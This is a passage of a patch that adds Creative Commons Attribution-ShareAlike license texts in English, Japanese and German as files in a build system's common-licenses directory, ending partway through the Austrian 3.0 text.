+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-SA-2.0-UK b/meta/files/common-licenses/CC-BY-SA-2.0-UK
new file mode 100644
index 0000000000..ea3df21954
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-2.0-UK
@@ -0,0 +1,147 @@
+Creative Commons Attribution - Share-Alike 2.0 England and Wales
+
+ CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENCE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+Licence
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENCE ("CCPL" OR "LICENCE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENCE OR COPYRIGHT LAW IS PROHIBITED. BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENCE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+This Creative Commons England and Wales Public Licence enables You (all capitalised terms defined below) to view, edit, modify, translate and distribute Works worldwide, under the terms of this licence, provided that You credit the Original Author.
+
+'The Licensor' [one or more legally recognised persons or entities offering the Work under the terms and conditions of this Licence]
+
+and
+
+'You'
+
+agree as follows:
+
+1. Definitions
+
+ a. "Attribution" means acknowledging all the parties who have contributed to and have rights in the Work or Collective Work under this Licence.
+
+ b. "Collective Work" means the Work in its entirety in unmodified form along with a number of other separate and independent works, assembled into a collective whole.
+
+ c. "Derivative Work" means any work created by the editing, modification, adaptation or translation of the Work in any media (however a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this Licence). For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this Licence.
+
+ d. "Licence" means this Creative Commons England and Wales Public Licence agreement.
+
+ e. "Licence Elements" means the following high-level licence attributes indicated in the title of this Licence: Attribution, Share-Alike.
+
+ f. "Original Author" means the individual (or entity) who created the Work.
+
+ g. "Work" means the work protected by copyright which is offered under the terms of this Licence.
+
+ h. For the purpose of this Licence, when not inconsistent with the context, words in the singular number include the plural number.
+
+2. Licence Terms
+
+2.1 The Licensor hereby grants to You a worldwide, royalty-free, non-exclusive, Licence for use and for the duration of copyright in the Work.
+
+You may:
+
+ * copy the Work;
+
+ * create one or more derivative Works;
+
+ * incorporate the Work into one or more Collective Works;
+
+ * copy Derivative Works or the Work as incorporated in any Collective Work; and
+
+ * publish, distribute, archive, perform or otherwise disseminate the Work or the Work as incorporated in any Collective Work, to the public in any material form in any media whether now known or hereafter created.
+
+HOWEVER,
+
+You must not:
+
+ * impose any terms on the use to be made of the Work, the Derivative Work or the Work as incorporated in a Collective Work that alter or restrict the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ * impose any digital rights management technology on the Work or the Work as incorporated in a Collective Work that alters or restricts the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ * sublicense the Work;
+
+ * subject the Work to any derogatory treatment as defined in the Copyright, Designs and Patents Act 1988.
+
+FINALLY,
+
+You must:
+
+ * make reference to this Licence (by Uniform Resource Identifier (URI), spoken word or as appropriate to the media used) on all copies of the Work and Collective Works published, distributed, performed or otherwise disseminated or made available to the public by You;
+
+ * recognise the Licensor's / Original Author's right of attribution in any Work and Collective Work that You publish, distribute, perform or otherwise disseminate to the public and ensure that You credit the Licensor / Original Author as appropriate to the media used; and
+
+ * to the extent reasonably practicable, keep intact all notices that refer to this Licence, in particular the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work.
+
+Additional Provisions for third parties making use of the Work
+
+2.2. Further licence from the Licensor
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ * the Work; or
+
+ * any Derivative Work; or
+
+ * the Work as incorporated in a Collective Work
+
+the Licensor agrees to offer to the relevant third party making use of the Work (in any of the alternatives set out above) a licence to use the Work on the same terms and conditions as granted to You hereunder.
+
+2.3. Further licence from You
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ * a Derivative Work; or
+
+ * a Derivative Work as incorporated in a Collective Work
+
+You agree to offer to the relevant third party making use of the Work (in either of the alternatives set out above) a licence to use the Derivative Work on any of the following premises:
+
+ * a licence to the Derivative Work on the same terms and conditions as the licence granted to You hereunder; or
+
+ * a later version of the licence granted to You hereunder; or
+
+ * any other Creative Commons licence with the same Licence Elements.
+
+2.4. This Licence does not affect any rights that the User may have under any applicable law, including fair use, fair dealing or any other legally recognised limitation or exception to copyright infringement.
+
+2.5. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to, the exclusive right to collect, whether individually or via a licensing body, such as a collecting society, royalties for any use of the Work which results in commercial advantage or private monetary compensation.
+
+3. Warranties and Disclaimer
+
+Except as required by law, the Work is licensed by the Licensor on an "as is" and "as available" basis and without any warranty of any kind, either express or implied.
+
+4. Limit of Liability
+
+Subject to any liability which may not be excluded or limited by law the Licensor shall not be liable and hereby expressly excludes all liability for loss or damage howsoever and whenever caused to You.
+
+5. Termination
+
+The rights granted to You under this Licence shall terminate automatically upon any breach by You of the terms of this Licence. Individuals or entities who have received Collective Works from You under this Licence, however, will not have their Licences terminated provided such individuals or entities remain in full compliance with those Licences.
+
+6. General
+
+6.1. The validity or enforceability of the remaining terms of this agreement is not affected by the holding of any provision of it to be invalid or unenforceable.
+
+6.2. This Licence constitutes the entire Licence Agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication in any form.
+
+6.3. A person who is not a party to this Licence shall have no rights under the Contracts (Rights of Third Parties) Act 1999 to enforce any of its terms.
+
+6.4. This Licence shall be governed by the law of England and Wales and the parties irrevocably submit to the exclusive jurisdiction of the Courts of England and Wales.
+
+7. On the role of Creative Commons
+
+7.1. Neither the Licensor nor the User may use the Creative Commons logo except to indicate that the Work is licensed under a Creative Commons Licence. Any permitted use has to be in compliance with the Creative Commons trade mark usage guidelines at the time of use of the Creative Commons trade mark. These guidelines may be found on the Creative Commons website or be otherwise available upon request from time to time.
+
+7.2. Creative Commons Corporation does not profit financially from its role in providing this Licence and will not investigate the claims of any Licensor or user of the Licence.
+
+7.3. One of the conditions that Creative Commons Corporation requires of the Licensor and You is an acknowledgement of its limited role and agreement by all who use the Licence that the Corporation is not responsible to anyone for the statements and actions of You or the Licensor or anyone else attempting to use or using this Licence.
+
+7.4. Creative Commons Corporation is not a party to this Licence, and makes no warranty whatsoever in connection to the Work or in connection to the Licence, and in all events is not liable for any loss or damage resulting from the Licensor's or Your reliance on this Licence or on its enforceability.
+
+7.5. USE OF THIS LICENCE MEANS THAT YOU AND THE LICENSOR EACH ACCEPTS THESE CONDITIONS IN SECTION 7.1, 7.2, 7.3, 7.4 AND EACH ACKNOWLEDGES CREATIVE COMMONS CORPORATION'S VERY LIMITED ROLE AS A FACILITATOR OF THE LICENCE FROM THE LICENSOR TO YOU.
+
+Creative Commons is not a party to this Licence, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this licence. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-SA-2.1-JP b/meta/files/common-licenses/CC-BY-SA-2.1-JP
new file mode 100644
index 0000000000..7971930e3f
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-2.1-JP
@@ -0,0 +1,83 @@
+アトリビューション—シェアアライク 2.1
+(帰属—同一条件許諾)
+クリエイティブ・コモンズ及びクリエイティブ・コモンズ・ジャパンは法律事務所ではありません。この利用許諾条項の頒布は法的アドバイスその他の法律業務を行うものではありません。クリエイティブ・コモンズ及びクリエイティブ・コモンズ・ジャパンは、この利用許諾の当事者ではなく、ここに提供する情報及び本作品に関しいかなる保証も行いません。クリエイティブ・コモンズ及びクリエイティブ・コモンズ・ジャパンは、いかなる法令に基づこうとも、あなた又はいかなる第三者の損害(この利用許諾に関連する通常損害、特別損害を含みますがこれらに限られません)について責任を負いません。
+
+利用許諾
+
+本作品(下記に定義する)は、このクリエイティブ・コモンズ・パブリック・ライセンス日本版(以下「この利用許諾」という)の条項の下で提供される。本作品は、著作権法及び/又は他の適用法によって保護される。本作品をこの利用許諾又は著作権法の下で授権された以外の方法で使用することを禁止する。
+
+許諾者は、かかる条項をあなたが承諾することとひきかえに、ここに規定される権利をあなたに付与する。本作品に関し、この利用許諾の下で認められるいずれかの利用を行うことにより、あなたは、この利用許諾(条項)に拘束されることを承諾し同意したこととなる。
+
+第1条 定義
+
+この利用許諾中の用語を以下のように定義する。その他の用語は、著作権法その他の法令で定める意味を持つものとする。
+
+ a. 「二次的著作物」とは、著作物を翻訳し、編曲し、若しくは変形し、または脚色し、映画化し、その他翻案することにより創作した著作物をいう。ただし、編集著作物又はデータベースの著作物(以下、この二つを併せて「編集著作物等」という。)を構成する著作物は、二次的著作物とみなされない。また、原著作者及び実演家の名誉又は声望を害する方法で原著作物を改作、変形もしくは翻案して生じる著作物は、この利用許諾の目的においては、二次的著作物に含まれない。
+ b. 「許諾者」とは、この利用許諾の条項の下で本作品を提供する個人又は団体をいう。
+ c. 「あなた」とは、この利用許諾に基づく権利を行使する個人又は団体をいう。
+ d. 「原著作者」とは、本作品に含まれる著作物を創作した個人又は団体をいう。
+ e. 「本作品」とは、この利用許諾の条項に基づいて利用する権利が付与される対象たる無体物をいい、著作物、実演、レコード、放送にかかる音又は影像、もしくは有線放送にかかる音又は影像をすべて含むものとする。
+ f. 「ライセンス要素」とは、許諾者が選択し、この利用許諾に表示されている、以下のライセンス属性をいう:帰属・同一条件許諾
+
+第2条 著作権等に対する制限
+
+この利用許諾に含まれるいかなる条項によっても、許諾者は、あなたが著作権の制限(著作権法第30条〜49条)、著作者人格権に対する制限(著作権法第18条2項〜4項、第19条2項〜4項、第20条2項)、著作隣接権に対する制限(著作権法第102条)その他、著作権法又はその他の適用法に基づいて認められることとなる本作品の利用を禁止しない。
+
+第3条 ライセンスの付与
+
+この利用許諾の条項に従い、許諾者はあなたに、本作品に関し、すべての国で、ロイヤリティ・フリー、非排他的で、(第7条bに定める期間)継続的な以下のライセンスを付与する。ただし、あなたが以前に本作品に関するこの利用許諾の条項に違反したことがないか、あるいは、以前にこの利用許諾の条項に違反したがこの利用許諾に基づく権利を行使するために許諾者から明示的な許可を得ている場合に限る。
+
+ a. 本作品に含まれる著作物(以下「本著作物」という。)を複製すること(編集著作物等に組み込み複製することを含む。以下、同じ。)、
+ b. 本著作物を翻案して二次的著作物を創作し、複製すること、
+ c. 本著作物又はその二次的著作物の複製物を頒布すること(譲渡または貸与により公衆に提供することを含む。以下同じ。)、上演すること、演奏すること、上映すること、公衆送信を行うこと(送信可能化を含む。以下、同じ。)、公に口述すること、公に展示すること、
+ d. 本作品に含まれる実演を、録音・録画すること(録音・録画物を増製することを含む)、録音・録画物により頒布すること、公衆送信を行うこと、
+ e. 本作品に含まれるレコードを、複製すること、頒布すること、公衆送信を行うこと、
+ f. 本作品に含まれる、放送に係る音又は影像を、複製すること、その放送を受信して再放送すること又は有線放送すること、その放送又はこれを受信して行う有線放送を受信して送信可能化すること、そのテレビジョン放送又はこれを受信して行う有線放送を受信して、影像を拡大する特別の装置を用いて公に伝達すること、
+ g. 本作品に含まれる、有線放送に係る音又は影像を、複製すること、その有線放送を受信して放送し、又は再有線放送すること、その有線放送を受信して送信可能化すること、その有線テレビジョン放送を受信して、影像を拡大する特別の装置を用いて公に伝達すること、
+
+上記に定められた本作品又はその二次的著作物の利用は、現在及び将来のすべての媒体・形式で行うことができる。あなたは、他の媒体及び形式で本作品又はその二次的著作物を利用するのに技術的に必要な変更を行うことができる。許諾者は本作品又はその二次的著作物に関して、この利用許諾に従った利用については自己が有する著作者人格権及び実演家人格権を行使しない。許諾者によって明示的に付与されない全ての権利は、留保される。
+
+第4条 受領者へのライセンス提供
+
+あなたが本作品をこの利用許諾に基づいて利用する度毎に、許諾者は本作品又は本作品の二次的著作物の受領者に対して、直接、この利用許諾の下であなたに許可された利用許諾と同じ条件の本作品のライセンスを提供する。
+
+第5条 制限
+
+上記第3条及び第4条により付与されたライセンスは、以下の制限に明示的に従い、制約される。
+
+ a. あなたは、この利用許諾の条項に基づいてのみ、本作品を利用することができる。
+ b. あなたは、この利用許諾又はこの利用許諾と同一のライセンス要素を含むほかのクリエイティブ・コモンズ・ライセンス(例えば、この利用許諾の新しいバージョン、又はこの利用許諾と同一のライセンス要素の他国籍ライセンスなど)に基づいてのみ、本作品の二次的著作物を利用することができる。
+ c. あなたは、本作品を利用するときは、この利用許諾の写し又はURI(Uniform Resource Identifier)を本作品の複製物に添付又は表示しなければならない。
+ d. あなたは、本作品の二次的著作物を利用するときは、この利用許諾又はこの利用許諾と同一のライセンス要素を含むほかのクリエイティブ・コモンズ・ライセンスの写し又はURIを本作品の二次的著作物の複製物に添付または表示しなければならない。
+ e. あなたは、この利用許諾条項及びこの利用許諾によって付与される利用許諾受領者の権利の行使を変更又は制限するような、本作品又はその二次的著作物に係る条件を提案したり課したりしてはならない。
+ f. あなたは、本作品を再利用許諾することができない。
+ g. あなたは、本作品又はその二次的著作物の利用にあたって、この利用許諾及びその免責条項に関する注意書きの内容を変更せず、見やすい態様でそのまま掲載しなければならない。
+ h. あなたは、この利用許諾条項と矛盾する方法で本著作物へのアクセス又は使用をコントロールするような技術的保護手段を用いて、本作品又はその二次的著作物を利用してはならない。
+ i. 本条の制限は、本作品又はその二次的著作物が編集著作物等に組み込まれた場合にも、その組み込まれた作品に関しては適用される。しかし、本作品又はその二次的著作物が組み込まれた編集著作物等そのものは、この利用許諾の条項に従う必要はない。
+ j. あなたは、本作品、その二次的著作物又は本作品を組み込んだ編集著作物等を利用する場合には、(1)本作品に係るすべての著作権表示をそのままにしておかなければならず、(2)原著作者及び実演家のクレジットを、合理的な方式で、(もし示されていれば原著作者及び実演家の名前又は変名を伝えることにより、)表示しなければならず、(3)本作品のタイトルが示されている場合には、そのタイトルを表示しなければならず、(4)許諾者が本作品に添付するよう指定したURIがあれば、合理的に実行可能な範囲で、そのURIを表示しなければならず(ただし、そのURIが本作品の著作権表示またはライセンス情報を参照するものでないときはこの限りでない。)(5)二次的著作物の場合には、当該二次的著作物中の原著作物の利用を示すクレジットを表示しなければならない。これらのクレジットは、合理的であればどんな方法でも行うことができる。しかしながら、二次的著作物又は編集著作物等の場合には、少なくとも他の同様の著作者のクレジットが表示される箇所で当該クレジットを表示し、少なくとも他の同様の著作者のクレジットと同程度に目立つ方法であることを要する。
+ k. もし、あなたが、本作品の二次的著作物、又は本作品もしくはその二次的著作物を組み込んだ編集著作物等を創作した場合、あなたは、許諾者からの通知があれば、実行可能な範囲で、要求に応じて、二次的著作物又は編集著作物等から、許諾者又は原著作者への言及をすべて除去しなければならない。
+
+第6条 責任制限
+
+この利用許諾の両当事者が書面にて別途合意しない限り、許諾者は本作品を現状のまま提供するものとし、明示・黙示を問わず、本作品に関していかなる保証(特定の利用目的への適合性、第三者の権利の非侵害、欠陥の不存在を含むが、これに限られない。)もしない。
+
+この利用許諾又はこの利用許諾に基づく本作品の利用から発生する、いかなる損害(許諾者が、本作品にかかる著作権、著作隣接権、著作者人格権、実演家人格権、商標権、パブリシティ権、不正競争防止法その他関連法規上保護される利益を有する者からの許諾を得ることなく本作品の利用許諾を行ったことにより発生する損害、プライバシー侵害又は名誉毀損から発生する損害等の通常損害、及び特別損害を含むが、これに限らない。)についても、許諾者に故意又は重大な過失がある場合を除き、許諾者がそのような損害発生の可能性を知らされたか否かを問わず、許諾者は、あなたに対し、これを賠償する責任を負わない。
+
+第7条 終了
+
+ a. この利用許諾は、あなたがこの利用許諾の条項に違反すると自動的に終了する。しかし、本作品、その二次的著作物又は編集著作物等をあなたからこの利用許諾に基づき受領した第三者に対しては、その受領者がこの利用許諾を遵守している限り、この利用許諾は終了しない。第1条、第2条、第4条から第9条は、この利用許諾が終了してもなお有効に存続する。
+ b. 上記aに定める場合を除き、この利用許諾に基づくライセンスは、本作品に含まれる著作権法上の権利が存続するかぎり継続する。
+ c. 許諾者は、上記aおよびbに関わらず、いつでも、本作品をこの利用許諾に基づいて頒布することを将来に向かって中止することができる。ただし、許諾者がこの利用許諾に基づく頒布を将来に向かって中止した場合でも、この利用許諾に基づいてすでに本作品を受領した利用者に対しては、この利用許諾に基づいて過去及び将来に与えられるいかなるライセンスも終了することはない。また、上記によって終了しない限り、この利用許諾は、全面的に有効なものとして継続する。
+
+第8条 その他
+
+ a. この利用許諾のいずれかの規定が、適用法の下で無効及び/又は執行不能の場合であっても、この利用許諾の他の条項の有効性及び執行可能性には影響しない。
+ b. この利用許諾の条項の全部又は一部の放棄又はその違反に関する承諾は、これが書面にされ、当該放棄又は承諾に責任を負う当事者による署名又は記名押印がなされない限り、行うことができない。
+ c. この利用許諾は、当事者が本作品に関して行った最終かつ唯一の合意の内容である。この利用許諾は、許諾者とあなたとの相互の書面による合意なく修正されない。
+ d. この利用許諾は日本語により提供される。この利用許諾の英語その他の言語への翻訳は参照のためのものに過ぎず、この利用許諾の日本語版と翻訳との間に何らかの齟齬がある場合には日本語版が優先する。
+
+第9条 準拠法
+
+この利用許諾は、日本法に基づき解釈される。
+
+本作品がクリエイティブ・コモンズ・ライセンスに基づき利用許諾されたことを公衆に示すという限定された目的の場合を除き、許諾者も被許諾者もクリエイティブ・コモンズの事前の書面による同意なしに「クリエイティブ・コモンズ」の商標若しくは関連商標又はクリエイティブ・コモンズのロゴを使用しないものとします。使用が許可された場合はクリエイティブ・コモンズおよびクリエイティブ・コモンズ・ジャパンのウェブサイト上に公表される、又はその他随時要求に従い利用可能となる、クリエイティブ・コモンズの当該時点における商標使用指針を遵守するものとします。クリエイティブ・コモンズは https://creativecommons.org/から、クリエイティブ・コモンズ・ジャパンはhttp://www.creativecommons.jp/から連絡することができます。
diff --git a/meta/files/common-licenses/CC-BY-SA-3.0-AT b/meta/files/common-licenses/CC-BY-SA-3.0-AT
new file mode 100644
index 0000000000..365b5f705d
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-3.0-AT
@@ -0,0 +1,139 @@
+CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER „SCHUTZGEGENSTAND“ DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", „LIZENZ“ ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Bearbeitung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange dieses erkennbar vom Schutzgegenstand abgeleitet wurde. Dies kann insbesondere auch eine Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Bearbeitung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Nutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten zu einem einheitlichen Ganzen, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine eigentümliche geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Bearbeitungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit zugänglich zu machen oder in Verkehr zu bringen.
+
+ d. Unter "Lizenzelementen" werden im Sinne dieser Lizenz die folgenden übergeordneten Lizenzcharakteristika verstanden, die vom Lizenzgeber ausgewählt wurden und in der Bezeichnung der Lizenz zum Ausdruck kommen: "Namensnennung", "Weitergabe unter gleichen Bedingungen".
+
+ e. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ f. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und eine Erteilung, Übertragung oder Einräumung von Nutzungsbewilligungen bzw Nutzungsrechten an Dritte erlaubt.
+
+ g. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine eigentümliche geistige Schöpfung jeglicher Art oder ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff „Schutzgegenstand“ im Sinne dieser Lizenz.
+
+ h. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährte Nutzungsbewilligung trotz eines vorherigen Verstoßes auszuüben.
+
+ i. Unter "Öffentlich Wiedergeben" im Sinne dieser Lizenz sind Wahrnehmbarmachungen des Schutzgegenstandes in unkörperlicher Form zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung oder zeit- und ortsunabhängiger Zurverfügungstellung erfolgen, unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ j. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, gleichviel in welchem Verfahren, auf welchem Träger, in welcher Menge und ob vorübergehend oder dauerhaft, Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch das erstmalige Festhalten des Schutzgegenstandes oder dessen Wahrnehmbarmachung auf Mitteln der wiederholbaren Wiedergabe sowie das Herstellen von Vervielfältigungsstücken dieser Festhaltung, sowie die Speicherung einer geschützten Darbietung oder eines Bild- und/oder Schallträgers in digitaler Form oder auf einem anderen elektronischen Medium.
+
+ k. "Mit Creative Commons kompatible Lizenz" bezeichnet eine Lizenz, die unter https://creativecommons.org/compatiblelicenses aufgelistet ist und die durch Creative Commons als grundsätzlich zur vorliegenden Lizenz äquivalent akzeptiert wurde, da zumindest folgende Voraussetzungen erfüllt sind:
+
+ Diese mit Creative Commons kompatible Lizenz
+
+ i. enthält Bestimmungen, welche die gleichen Ziele verfolgen, die gleiche Bedeutung haben und die gleichen Wirkungen erzeugen wie die Lizenzelemente der vorliegenden Lizenz; und
+
+ ii. erlaubt ausdrücklich das Lizenzieren von ihr unterstellten Abwandlungen unter vorliegender Lizenz, unter einer anderen rechtsordnungsspezifisch angepassten Creative-Commons-Lizenz mit denselben Lizenzelementen wie vorliegende Lizenz aufweist oder unter der entsprechenden Creative-Commons-Unported-Lizenz.
+
+2. Beschränkungen der Verwertungsrechte
+
+Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die sich aus den Beschränkungen der Verwertungsrechte, anderen Beschränkungen der Ausschließlichkeitsrechte des Rechtsinhabers oder anderen entsprechenden Rechtsnormen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Lizenzierung
+
+Unter den Bedingungen dieser Lizenz erteilt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - die vergütungsfreie, räumlich und zeitlich (für die Dauer des Urheberrechts oder verwandten Schutzrechts am Schutzgegenstand) unbeschränkte Nutzungsbewilligung, den Schutzgegenstand in der folgenden Art und Weise zu nutzen:
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Den Schutzgegenstand zu bearbeiten, einschließlich Übersetzungen unter Nutzung jedweder Medien anzufertigen, sofern deutlich erkennbar gemacht wird, dass es sich um eine Bearbeitung handelt;
+
+ c. Den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich wiederzugeben und zu verbreiten; und
+
+ d. Bearbeitungen des Schutzgegenstandes zu veröffentlichen, öffentlich wiederzugeben und zu verbreiten.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechenden Vergütungsansprüche für jede Ausübung eines Rechts aus dieser Lizenz durch Sie geltend zu machen.
+
+ ii. Vergütung bei Zwangslizenzen: Soweit Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
